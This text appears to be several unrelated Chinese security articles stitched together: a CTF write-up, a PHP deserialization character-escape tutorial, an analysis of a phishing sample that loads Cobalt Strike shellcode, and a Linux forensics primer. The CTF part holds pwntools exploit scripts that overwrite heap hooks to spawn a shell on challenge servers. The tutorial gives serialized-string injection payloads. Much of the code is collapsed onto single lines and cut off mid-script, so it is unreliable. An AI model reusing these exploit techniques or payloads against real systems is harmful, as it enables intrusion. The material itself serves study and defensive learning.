from gmpy2 import * from libnum import *import hashlib, stringimport stringstring.ascii_letters+string.digitsdef getHash(salt, result): characters = string.ascii_letters+string.digits for c1 in characters: for c2 in characters: for c3 in characters: for c4 in characters: proof = (c1 + c2 + c3 + c4)
3、**Random_RSA**
python随机数相同的随机数种子产生的随机数序列相同,先用产生的随机数序列异或解密出dp,然后
https://blog.csdn.net/weixin_45369385/article/details/109208109该博客有dp泄露的原理和代码,直接用即可(python2运行)
# -*- coding: utf-8 -*-from Crypto.Util.number import *import gmpy2import libnumimport randomimport binasciiimport osn=8119628299260611359123361520468059764520856227932785402698137691797784364485518052822703775269249855837002635324498146790005715799746276073201937218595584650797745665776012568212510
###
pwn
1、**note**
scanf那里可以进行格式化字符串的利用,首先修改站上残留的stdout指针,可以泄露地址,之后可以任意地址写:
最后利用传统的exit_hook,劫持_dl_rtld_lock_recursive为one_gadget,当调用exit函数时可得到shell
exp:
#!usr/bin/env python#-*- coding:utf8 -*-from pwn import *import syspc="./note"reomote_addr=["47.104.70.90",25315]elf = ELF(pc)libc = elf.libccontext.binary=pccontext.terminal=["gnome-terminal",'-x','sh','-c']if len(sys.argv)==1: # p=process(pc) context.log_level="debug" p=process(pc,env={"LD_PRELOAD
flag{006c45fa-81d5-45eb-8f8c-eb6833daadf5}
2、**lemon**
开头的伪随机数可绕过,使得flag输入到栈上;
程序在bss段上残留了一个栈地址:
所有菜单函数里面都没有检查负下标,所以可以修改栈空间,通过部分覆盖将环境变量的一个指针改为flag的地址,之后破坏堆结构,报错即可泄露出flag
exp:
# -*- coding:utf8 -*-from pwn import *pc = "./lemon_pwn"libc = ELF('./libc-2.26.so')context.binary = pccontext.terminal = ["gnome-terminal", '-x', 'sh', '-c']context.log_level= 'debug'remote_addr = ["47.104.70.90", 34524]ru = lambda x : p.recvuntil(x,timeout=0.2)sn = lambda x : p.send(x)rl = lambda
flag{f578948e-8b48-494d-a11e-a97b7fbf14ee}
3、**PassWordBox_FreeVersion**
fgets可以溢出一个\x00;
libc2.27下的off by null,实现chunk overlap,进而修改tcache的fd指针,分配到__free_hook处,并将其修改为system
#!usr/bin/env python#-*- coding:utf8 -*-from pwn import *import syspc="./pwdFree"reomote_addr=["47.104.71.220",38562]elf = ELF(pc)libc = elf.libccontext.binary=pccontext.terminal=["gnome-terminal",'-x','sh','-c']if len(sys.argv)==1: # p=process(pc) context.log_level="debug" p=process(pc,env={"LD_PRE
flag{2db0e64f-afe1-44d4-9af9-ae138da7bb4b}
4、PassWordBox_ProVersion
存在UAF,且只能申请largebin大小的chunk
通过2.31的large bin attack,可以修改 mp_结构体中的tcache_bins和tcache_max_bytes
之后通过计算,在伪造的tcache struct的相应size的位置上写上__free_hook,可将其申请出来改为system
exp:
#!/usr/bin/env python# -*- coding: utf-8 -*-from pwn import *pc = './pwdPro'# p = process(pc)libc = ELF("./libc.so")p = remote("47.104.71.220", 49261)context.log_level = 'debug'context.binary=pccontext.terminal=["gnome-terminal",'-x','sh','-c']ru = lambda x : p.recvuntil(x,timeout=0.2)sn = lambda x
flag{909cf735-b274-4098-885b-589300839b71}
5、JigSaw'sCage
存在整数溢出/宽度溢出,可以绕过检查得到一块rwx的堆地址:
test函数可以执行输入的汇编代码
利用残留的寄存器r10,r12,分两次写,把__free_hook改为system即可:
add r10, 0x50068 mov r12, r10sub r10, 0x1496b0 mov qword ptr [r12],r10
exp:
#!usr/bin/env python#-*- coding:utf8 -*-from pwn import *import syspc="./JigSAW"reomote_addr=["47.104.71.220",10273]elf = ELF(pc)libc = elf.libccontext.binary=pccontext.terminal=["gnome-terminal",'-x','sh','-c']if len(sys.argv)==1: # p=process(pc) context.log_level="debug" p=process(pc,env={"LD_PREL
flag{58591d4d-068f-47ed-9305-a65762917b06}
misc
1、**层层取证**
挂载镜像,在内存中找到密钥
bitlocker密钥 549714-116633-006446-278597-176000-708532-618101-131406
发现一个流量包
跟踪udp,打开,保存为zip格式
右边有hint和开机密码同
hashdump一下
解一下 xiaoming_handsome是压缩包密码
打开docx,还有一层密码
原始数据中搜索
2、**鸣雏恋**
解压后,得到一个docx,里面就几个字,没有隐藏。改为zip后缀试试。
解压zip,里面的key.txt是零宽
密码是 Because I like naruto best
解压缩包,转化0和1,一把梭出图片
from PIL import Imagefrom Crypto.Util.number import long_to_bytesimport base64path = "D:\\Desktop\\xiangyuncup\\misc4_\\_rels\\out\\"flag = "0b"for i in range(129488): _path=path+str(i)+".png" a=Image.open(_path) if a.size[0] == 23:flag+="0" else:flag+="1"cipher=int(flag, 2)data=long_to_bytes(cipher
3、ChieftainsSecret
binwalk可以得到一个表和一张芯片示意图:
显然是要分析芯片的功能了。
表用折线图画,可以发现是一些三角函数信号,根据信号应该可以得出什么信息
处理一下四组数据
https://www.bilibili.com/video/av58935371/ 学习了下怎么转换时间
x=cos_p-cos_n
y=sin_p-sin_n
转换成角度,算出theta(atan2(x,y)*57.3,负值加360),画图得到:
逐个比对出峰值对应号码,得到77085962457。
通过本系列的学习,能够对CTF中web有体系的了解,通过练习提升技术
实验推荐:https://www.yijinglab.com/cour.do?w=1&c=CCID2d51-5e95-4c58-8fc9-13b1659c1356
PHP反序列化字符逃逸详解
PHP反序列化字符逃逸的原理
当开发者使用先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。
详解PHP反序列化字符逃逸
对于PHP反序列字符逃逸,我们分为以下两种情况进行讨论。
过滤后字符变多
过滤后字符变少
过滤后字符变多
假设我们先定义一个user类,然后里面一共有3个成员变量:username、password、isVIP。
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
可以看到当这个类被初始化的时候,isVIP变量默认是0,并且不受初始化传入的参数影响。
接下来把完整代码贴出来,便于我们分析。
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
$a = new user("admin","123456");
$a_seri = serialize($a);
echo $a_seri;
?>
这一段程序的输出结果如下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
可以看到,对象序列化之后的isVIP变量是0。
这个时候我们增加一个函数,用于对admin字符进行替换,将admin替换为hacker,替换函数如下:
function filter($s){
return str_replace("admin","hacker",$s);
}
因此整段程序如下:
<?php
class user{
public $username;
public $password;
public $isVIP;
public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}
function filter($s){
return str_replace("admin","hacker",$s);
}
$a = new user("admin","123456");
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);
echo $a_seri_filter;
?>
这一段程序的输出为:
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这个时候我们把这两个程序的输出拿出来对比一下:
O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //未过滤
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //已过滤
可以看到已过滤字符串中的hacker与前面的字符长度不对应了
s:5:"admin";
s:5:"hacker";
在这个时候,对于我们,在新建对象的时候,传入的admin就是我们的可控变量
接下来明确我们的目标:将isVIP变量的值修改为1
首先我们将我们的现有子串和目标子串进行对比:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
也就是说,我们要在admin这个可控变量的位置,注入我们的目标子串。
首先计算我们需要注入的目标子串的长度:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}//以上字符串的长度为47
因为我们需要逃逸的字符串长度为47,并且admin每次过滤之后都会变成hacker,也就是说每出现一次admin,就会多1个字符。
因此我们在可控变量处,重复47遍admin,然后加上我们逃逸后的目标子串,可控变量修改如下:
adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}
完整代码如下:
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hacker",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadmin
程序输出结果为:
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
我们可以数一下hacker的数量,一共是47个hacker,共282个字符,正好与前面282相对应。
后面的注入子串也正好完成了逃逸。
反序列化后,多余的子串会被抛弃
我们接着将这个序列化结果反序列化,然后将其输出,完整代码如下:
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hacker",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadmin
程序输出如下:
object(user)#2 (3) { ["username"]=> string(282) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacke
可以看到这个时候,isVIP这个变量就变成了1,反序列化字符逃逸的目的也就达到了。
过滤后字符变少
上面描述了PHP反序列化字符逃逸中字符变多的情况。
以下开始解释反序列化字符逃逸变少的情况。
首先,和上面的主体代码还是一样,还是同一个class,与之有区别的是过滤函数中,我们将hacker修改为hack。
完整代码如下:
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hack",$s);}$a = new user('admin','123456');$a_seri = serialize($a);$a_seri_filter =
得到结果:
O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
同样比较一下现有子串和目标子串:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有子串";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
因为过滤的时候,将5个字符删减为了4个,所以和上面字符变多的情况相反,随着加入的admin的数量增多,现有子串后面会缩进来。
计算一下目标子串的长度:
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串//长度为47
再计算一下到下一个可控变量的字符串长度:
";s:8:"password";s:6:"//长度为22
因为每次过滤的时候都会少1个字符,因此我们先将admin字符重复22遍(这里的22遍不像字符变多的逃逸情况精确,后面可能会需要做调整)
完整代码如下:(这里的变量里一共有22个admin)
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminad
输出结果:
注意:PHP反序列化的机制是,比如如果前面是规定了有10个字符,但是只读到了9个就到了双引号,这个时候PHP会把双引号当做第10个字符,也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
这里我们需要仔细看一下s后面是105,也就是说我们需要读取到105个字符。从第一个引号开始,105个字符如下:
hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:
也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标子串
完整代码为:
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminad
输出:
O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105
造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确
解决办法是:多添加2个admin,这样就可以补上缺少的字符。
修改后代码如下:
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminad
输出结果为:
O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}
分析一下输出结果:
可以看到,这一下就对了。
我们将对象反序列化然后输出,代码如下:
<?phpclass user{ public $username; public $password; public $isVIP; public function __construct($u,$p){ $this->username = $u; $this->password = $p; $this->isVIP = 0; }}function filter($s){ return str_replace("admin","hack",$s);}$a = new user('adminadminadminadminadminadminadminadminadminadminadminad
得到结果:
object(user)#2 (3) { ["username"]=> string(115) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"" ["password"]=> string(6) "123456" ["isVIP"]=> int(1)}
可以看到,这个时候isVIP的值也为1,也就达到了我们反序列化字符逃逸的目的了
实验推荐:https://www.yijinglab.com/expc.do?ce=fedb75c5-f7f4-450e-8b27-40ac4db2a5d9
通过本次实验,大家将会明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和预防此类漏洞。
记一次粗浅的钓鱼样本分析过程
0x00 前言
一切的一切要从 (盘古开天辟地) 几个月前的某大型网安活动期间说起。话说当时一位素未谋面的基友给在下发了一个疑似钓鱼的样本,说是让我试试看下能不能溯源出攻击方。于是虽然作为一名萌新,此前也从未接触过类似的工作,但想到既然是基友的请求,那也唯有欣然接受了。不过值得庆幸的是,最后虽然折腾了大半天,而且好像也没帮上什么忙,但与样本分析的初接触过程中,还是学到了不少东西的。唯独可惜的是,由于当时的自己沉迷摸鱼,没有及时把过程记录下来。如今偶然再想起,决定补写一文章——但也只能力求复刻当时的真实情况了。所以如果发现文中一些时间戳对不上的,请自动忽略,个人认为不影响文章的真实性。。。
0x01 投石问路
因为样本是基友直接发给我的,所以样本的发现过程这里按下不表,直奔主题吧。
拿到样本,一个朴实无华的 exe 可执行文件,再看这 exe 的图标更是已经烂大街的了:
于是本着没吃过猪肉也见过猪跑的道理,想起平时摸鱼时也看过不少大佬们做过的免杀和样本分析的文章,先草率地做出了一个最简单的猜想:很可能又是一个使用 rar 自解压制作的钓鱼样本。
于是就草率地先尝试使用 bandzip 打开,发现格式不对:
显然,这样草率的猜想果然是不靠谱的,遂转换思路。
于是又想到,正所谓他山之石可以攻玉,况且自己之前在这方面也几乎零基础,那不妨先扔在线的分析网站跑一波吧,就算只搞到个大概的报告也可以供参考。于是将样本拖进 VT,立等片刻后,得到结果:
只是瞧瞧这多引擎的检测结果,居然还有点小意外?!于是这个情况顿时让我对这个样本又多了几分好奇:看来有机会还是要搞清楚这个样本是怎么制作的呀。再说作为一条有理想的咸鱼,一直这样依赖工具也不是办法,有机会还是要锻炼下自己的动手能力。于是决定为基友献出自己的”第一次“,尝试手动分析下这个样本,顺便看看它这个查杀率是怎么做到的。
0x02 循序渐进
说是手动分析,但一来自己经验不足,二来身边也没有随时可抱大腿的大佬来解疑答惑,那眼前 VT 的分析结果还是要参考下的,起码起到风向标的作用。
VT 分析结果的前面几项都没有什么特别有价值的信息。直至切换到分析结果中的 BEHAVIOR 选项卡,发现样本执行过程释放和加载了一个名为python27.dll 的动态链接库文件:
看到这,作为一名常年网上冲浪、已经将喊666刻进DNA里的资深菜鸡,我的 privilege 又尽数体现了:根据经验,这大概又是一个 PyInstaller 打包的 exe文件。
于是现学现卖,从搜索引擎得知:
PyInstaller 打包的文件可以使用一个名为 pyinstxtractor.py 的 https://link.segmentfault.com/?url=https%3A%2F%2Fsourceforge.net%2Fprojects%2Fpyinstallerextractor%2F 来进行解包反编译得到 pyc 文件
pyc 是 python 源代码执行编译后得到的文件。可使用 uncompyle6 等工具进行反编译,得到最终的 python源码
因此需准备工具有:pyinstxtractor.py)(可github获取)、uncompyle6 (可直接使用 pip install 安装)
有了以上前置知识后,那么依葫芦画瓢——下载脚本并执行: python pyinstxtractor flashplayerpp_install_cn.exe:
幸运的是,过程十分顺利,在当前目录下生成了解压文件夹:
然后,根据资料,在解压目录中找到可疑的 pyc文件,名为 main:
按照剧本,这里的 main 应该就是 main.py 编译之后得到的 pyc 文件。但实际操作中,无论是使用在线反编译工具如 https://link.segmentfault.com/?url=http%3A%2F%2Ftools.bugscaner.com%2Fdecompyle%2F,还是本地的 https://link.segmentfault.com/?url=https%3A%2F%2Fgithub.com%2Frocky%2Fpython-uncompyle6%2F 和 https://link.segmentfault.com/?url=https%3A%2F%2Fsource
根据报错信息不难发现,报错与一个 magic number的概念有关。因此要想继续分析流程,就必须先解决 magic number的问题。
于是继续求助搜索引擎。得到解释如下:
magic number 是 pyc 文件结构的一部分,其位于文件开头的前 4 个字节,代表了 python 的版本信息。
出现 unknown magic number 错误,很可能是制作样本的钓鱼佬对 pyc 文件做了手脚。这种情况在 CTF 中也比较常见
在知道 python 版本的情况下,可通过补全magic number 信息来尝试修复无法还原的 pyc 文件
0x03 原来是虚晃一枪
老实说,看完上面收集回来的信息,我当时的表情就是这样的:
显然,事情到这一步已经超出了一个我这个菜鸡的预期了。
所以说,要半途而废嘛,也不是没想过。。。可气氛都渲染到这里了,不继续下去好像也不太说得过去的样子。。。
于是,本着准备手动修复 magic number 信息的想法, winhex 打开 main.pyc,却惊喜地发现:
main 文件里面的竟然是源码明文?!!
这。。这。。。这是咋回事呢?跟说好的剧本不一样啊。。这样难道不会影响打包的 exe 文件的运行的吗?难道这就是这个样本被查杀率不高的原因?
于是本着知其所以然的心态,本人又围绕这这个问题,尝试找了不少资料。但可惜水平有限,最终也是没找到相应的解释,对此还希望有知道的师傅能指教一二。。。
不过言归正传,既然拿到了 python 的源码,那一切就好办了。。
直接将 main.pyc 改名为 main.py,用 sublime 打开,得到:
简单看了下源码,发现执行的过程如下:
1、is_admin 函数先判断是否为管理员权限,如果不是,则调用 API 请求以管理员身份运行该样本
2、如果当前已经是管理员权限,则执行 NDdFrvsmTh 函数
3、NDdFrvsmTh 函数开辟两个线程,一个线程执行TFZWSTEcc函数下载真正的 flash 安装包到本地执行安装,另一个线程执行TENRWCTE 函数加载 shellcode 使主机上线
4、TFZWSTEcc 函数先从远程地址 https://link.segmentfault.com/?url=https%3A%2F%2Fwww.xxx.us%2Fxxxxxyyyyyyvszzzzz 加载 CS 的shellcode,然后几句 cPickle.loads 分别为 shellcode 的执行分配内存空间、设置执行权限、创建线程并最终执行:
(PS:可能是我愚钝,总之一番概览下来,好像除了从远程加载 shellcode 而不是硬编码到代码中去之外,也没啥特别的。。。?所以至此 VT 的这个 6/64 的查杀率似乎也成了我的一个未解之谜。。 )
同时既然已经知道 shellcode 的远程下载地址,那么可直接尝试获取 shellcode 到本地进行分析。编写了个简单的脚本:
执行后顺利得到 shellcode.bin 文件:
最后简单使用 strings 即可得到 teamserver 的地址:
不过可惜的是,上了CDN:
明显,这种情况,以本人的水平也暂时谈不上什么反制了。最后将自己的分析过程打包给基友后就洗洗睡第二天继续吃瓜去了。。。
0xFF 总结
本文主要记录了本人在对一钓鱼样本进行分析溯源学习时的踩坑经过。整个过程可简单概况为以下几部分:
使用pyinstxtractor 反编译 pyinstaller 打包的exe,得到 pyc 文件
尝试使用 uncompyle6反编译 得到的pyc 文件,进一步得到 python 源码未果
根据 uncompyle6 使用过程中出现的问题,寻找原因和解决办法,尝试手动修复 pyc 文件
尝试修复 pyc 文件时直接发现 python 源码(是资料中未提及过的情况,很惊奇,遂于寻找原因,但未果)
分析 python 源码,得到 teamserver 地址。最后能力有限,不会反制
最后本人技术粗浅,文章措辞轻浮,肯定有许多错漏之处,还望各位大佬大力斧正的同时轻喷。。。
实验推荐:https://www.yijinglab.com/expc.do?ec=ECIDaefb-df77-4f25-8c11-864cf64abe24
Linux系统取证简述
一、电子数据取:
1、什么是取证
电子取证学:为打击网络犯罪而生的电子数据取证,是计算机学科与法学学科交叉的一门学科,涉及到的知识包括计算机软硬件知识体系、网络技术、密码学、通信技术以及法学知识等。
常规取证:有调查取证权的组织或者个人为了查明案件事实的需要,向有关单位或个人依法进行调查和收集证据。
“洛卡德物质交换原理”:“没有真正完美的犯罪,只有未被发现的线索。”
埃德蒙·洛卡德(Edmond Locard,1877~1966)博士是法国著名的法庭科学家和侦查学家,他是个固执的学者,穷其一生都在为犯罪现场中物证的取证和鉴定工作努力着,之所以说他「固执」,是因为他一辈子都坚信着那么一件事:
——犯罪者,必留痕
卡洛德在20世纪初提出了他最著名的物质交换定律。
此理论的核心非常简单:
——「每一个犯罪行为都会留下痕迹」
也就是说:
——只要发生了犯罪行为,就必然会留下相关痕迹,没有所谓「无痕」的犯罪现场。
——哪怕很多犯罪者具有一定的反侦查能力,会刻意的去破坏一些痕迹,但作为代价,这会带来更多的物质交换过程,再次形成各种新的痕迹物证。
形象地说,如果你打我一巴掌,我的脸上会留下你的手印、汗渍、划痕等,而你的手上也会有我的皮肤组织、汗渍等,这样一来通过证据的吻合度是可以判断出究竟是谁打了我
电子数据同样遵循这个原理,网络罪犯也会留下“手印”,但这个痕迹只有专业的取证人员才能看得到。
物质交换原理是电子数据取证的理论基础,而取证就是寻找各种犯罪交换后留下的痕迹作为证据的活动。
电子数据就是电子证据,在取证行业里所说的电子数据,就是指的电子证据。
| 2013年施行的《中华人民共和国刑事诉讼法》第四十七条规定了 "电子数据"为证据的7大类型。
2016年两高一部《关于办理刑事案件收集提取和审查判断电子数据若干问题的规定》(以下简称规定)以定义和列举的方式,对电子数据做了明确规定:电子数据是案件发生过程中形成的,以数字化形式存储、处理、传输的,能够证明案件事实的数据。电子数据包括但不限于下列信息、电子文件:网页、博客、微博客、朋友圈、贴吧、网盘等网络平台发布的信息;手机短信、电子邮件、即时通信、通讯群组等网络应用服务的通信信息;用户注册信息、身份认证信息、电子交易记录、通信记录、登录日志等信息;文档、图片、音视频、数字证书、计算机程序等电子文件。
电子数据取证什么?
电子数据取证就是把数字证据转换为报告形式的过程。
这个转化形式的过程却涉及法律标准、技术手段、工具使用等等多领域复杂的内容,那可不是几句话能说得清楚的
取证过程大致分为:
证据收集--->数据获取--->数据分析--->取证报告
1、收集阶段:
电子数据脆弱性,它很容易被破坏:病毒、删除、覆盖等都会导致电子数据改变和丢失。
2、数据获取阶段:
1. 转储过程是否会改变原始设备上的原始数据?(证据一旦被改变了就没有法律效应了)
2.怎么证明你在转储过程中没有改变任何数据?
解决办法:镜像 和写保护。
3、数据分析阶段
4、报告撰写阶段:形式详细记录下来,尤其是能证明犯罪事实的关键证据
电子数据取证的目的
电子数据取证的终极目标是:为法庭审判提供合法的证据。
为了达到目标,可能用到的手段方法,数据恢复,密码破解等
电子数据取证的重要性
中国网络犯罪占犯罪总是 1/3
每年以 30%以上的速度增长
网络犯罪造成的经济损失每年达7000亿以上
案例
熊猫烧香:
1、硬盘数据:“灰鸽子”、“Sniffer”、“DDOS.EXE”、“网络神偷”、“Web3389”、“日 志清理”等大量黑客网络攻击工具、木马制作,病毒,网络攻击的相关电子书。大量用VB,VC和Dephi编写的病毒和木马源代码:多线程端口,PHP注入,文 件捆绑,隐藏运行,QQ密码截获,IE密码探测等。
五号分区的 Source\Code\Delphi\Wy_Work\目录下,发现“武汉男生”(熊猫烧香)病毒的客户端和服务端程序,同时,在 \Source Code \Delphi\ My_Work\武汉男生进程监控\code目录下发现“武汉男生”的源程序代码文件,截图如下:
2、聊天记录:
3、盗卖账号信息
4、账号登录信息:大量网络游戏(征途、冒险岛等)登录用户名和口令
5、账目信息:“账单文件”记录了2005年到2006年7月的账目信息
二、Linux系统入侵痕迹分析取证
1、基本信息获取
系统信息:
系统版本信息:
uname -a
lsb_version -a
head -n 1 /etc/issue
用户和组信息:
cut -d: -f1 /etc/passwd //查看用户信息
cut -d: -f1 /etc/group //查看用户组信息
网络信息:
ip a show //网络接口信息
ip route //路由信息
ss -tanp //端口信息
iptables -L //防火墙信息
系统运行状态:
任务计划
cat /etc/crontab //查看系统任务计划
/var/spool/cron/USERNAME //用户任务计划
进程信息
ps aux
//a 与终端相关的进程
u 以用户为中心组织进程状态信息显示
x 与终端无光的进程
ps -ef //e 显示所有进程。f显示完整格式程序信息
ps -eFH //F显示完整格式的进行信息 H以进程层级格式显示进程相关信息
top
服务信息
systemctl list-units --type=service //显示所有已启动的服务
systemctl list-units -t service -a //所有开启和关闭的
systemctl list-unit-files -t service -a //服务状态,是否开机启动,static:开机不启动,但是可以被另一个服务激活
/usr/lib/systemd/system //服务目录
2、日志分析
日志的主要用途是系统审计、监测追踪和分析统计。
UNIX/ Linux采用了syslog工具来进行日志记录,所有在主机上发生的事情都会被记录下来不管是好的还是坏的。
syslog:Linux 内核由很多子系统组成包括网络、文件访问、内存管理等。
子系统需要给用户传送一些消息这些消息内容包括消息的来源及其重要性等。所有的子系统都要把消息送到一个可以维护的公用消息区于是就有了 syslog。
syslog 是一个综合的日志记录系统。
它的主要功能:方便日志管理和分类存放日志。
syslog 配置文件:/etc/syslog.conf
三类日志:
系统接入日志:
根据该日志跟踪到谁在何时登录到系统
/var/log/wtmp和/var/run/utmp //telnet、ssh等程序会更新wtmp和utmp文件
进程统计日志:分析系统使用者对系统进行的配置以及对文件进行的操作
pacct或acct
错误日志:
/var/log/messages
常用日志文件:
/var/log/boot.log //该文件记录了系统在引导过程中发生的事件就是Linux系统开机自检过程显示的信息。
/var/log/cron //该日志文件记录crontab守护进程crond所派生的子进程的动作,前面加上用户、登录时间和PID以及派生出的进程的动作.
/var/log/maillog //该日志文件记录了每一个发送到系统或从系统发出的电子邮件的活动。它可以用来查看用户使用哪个系统发送工具或把数据发送到哪个系统
/var/log/messages //该日志文件是许多进程日志文件的汇总
/var/log/syslog //RHEL/Centos默认不开启,需要配置,它和/etc/log/messages日志文件不同它只记录警告信息,
该日志文件能记录当用户登录时login记录下的错误口令、Sendmail的问题、su命令执行失败等信息。
/var/log/secure //记录与安全相关的信息,主要是一些和认证、权限使用相关的信息。其是sshd会将所有信息记录[其中包括失败登录]在这里信息
/var/log/lastlog //记录最近成功登录的事件和最后一次不成功的登录事件,只能root执行
/var/log/wtmp //永久记录每个用户登录、注销及系统的启动、停机的事件,该日志文件可以用来查看用户的登录记录,last命令就通过访问这个文件获得这些信息
/var/run/utmp //该日志文件记录有关当前登录的每个用户的信息, who、w、users、finger 访问此文件 ,随着用户登录和注销系统而不断变化,它只保留当时联机的用户记录不会为用户保留永久的记录
//以上提及的3个文件/var/log/wtmp、/var/run/utmp、/var/log/lastlog是日志子系统的关键文件,都记录了用户登录的情况。这些文件的所有记录都包含了时间戳。这些文件是按二进制保存。不能用less、cat之类的命令直接查看这些文件,而是需要使用相关命令通过这些文件而查看
每次有一个用户登录时login程序在文件lastlog中查看用户的UID。
如果存在则把用户上次登录、注销时间和主机名写到标准输出中,
然后login程序在lastlog中记录新的登录时间打开utmp文件并插入用户的utmp记录。
该记录一直用到用户登录退出时删除。utmp文件被各种命令使用包括who、w、users和finger。
下一步login程序打开文件wtmp附加用户的utmp记录。当用户登录退出时具有更新时间戳的同一utmp记录附加到文件中。
wtmp文件被程序last使用。
查看日志文件:
绝大多数是文本文件, cat、tac、more、less、tail和 grep进行查看
日志文件的格式:以 /var/log/messages 为例
该文件中每一行表示一个消息而且都由四个域的固定格式组成
时间戳:Timestamp 表示消息发出的日期和时间。
主机名:Hostname 表示生成消息的主机名
生成消息的子系统名称:“Kernel”表示消息来自内核
消息:Message :具体的消息内容
Dec 16 03:32:41 cnetos5 syslogd 1.4.1: restart. // syslog 发出的消息说明了守护进程已经在 xxx 重新启动了
查看非文本格式日志文件:
lastlog :使用 lastlog 命令来检查某特定用户上次登录的时间并格式化输出上次登录日志 /var/log/lastlog 的内容
last:搜索 /var/log/wtmp 来显示自从文件第一次创建以来登录过的用户
lastb:命令搜索 /var/log/btmp 来显示登录未成功的信息
who:查询 wtmp 文件并报告当前登录的每个用户
who /var/log/wtmp //查询历史登录用户
登录日志
二进制日志文件:
1、最近一次日志/var/log/lastlog lastlog //最近一次用户登录的时间记录2、用户登录日志/var/log/wtmp[root@localhost ~]# last - 或[root@localhost ~]# last -f <filename> # 指定输入文件 last -u 用户名显示用户上次登录的情况 last -t 天数显示指定天数之前的用户登录情况。
系统日志
应用日志
apache日志:
/var/log/httpd/access.log #[Apache服务器的客户系统访问记录]/var/log/httpd/error.log #[Apache服务器的所有出错记录]
cups 打印日志:CUPS [ Common Unix Printing System ] 通用UNIX打印系统
/var/log/cups/access_log # 访问日志文件,其中记录了打印机的设置情况,提交的打印作业,以及打印作业的状态记录等信息/var/log/cups/error_log # 默认的日志文件,存储各种错误信息
Samba 服务器日志
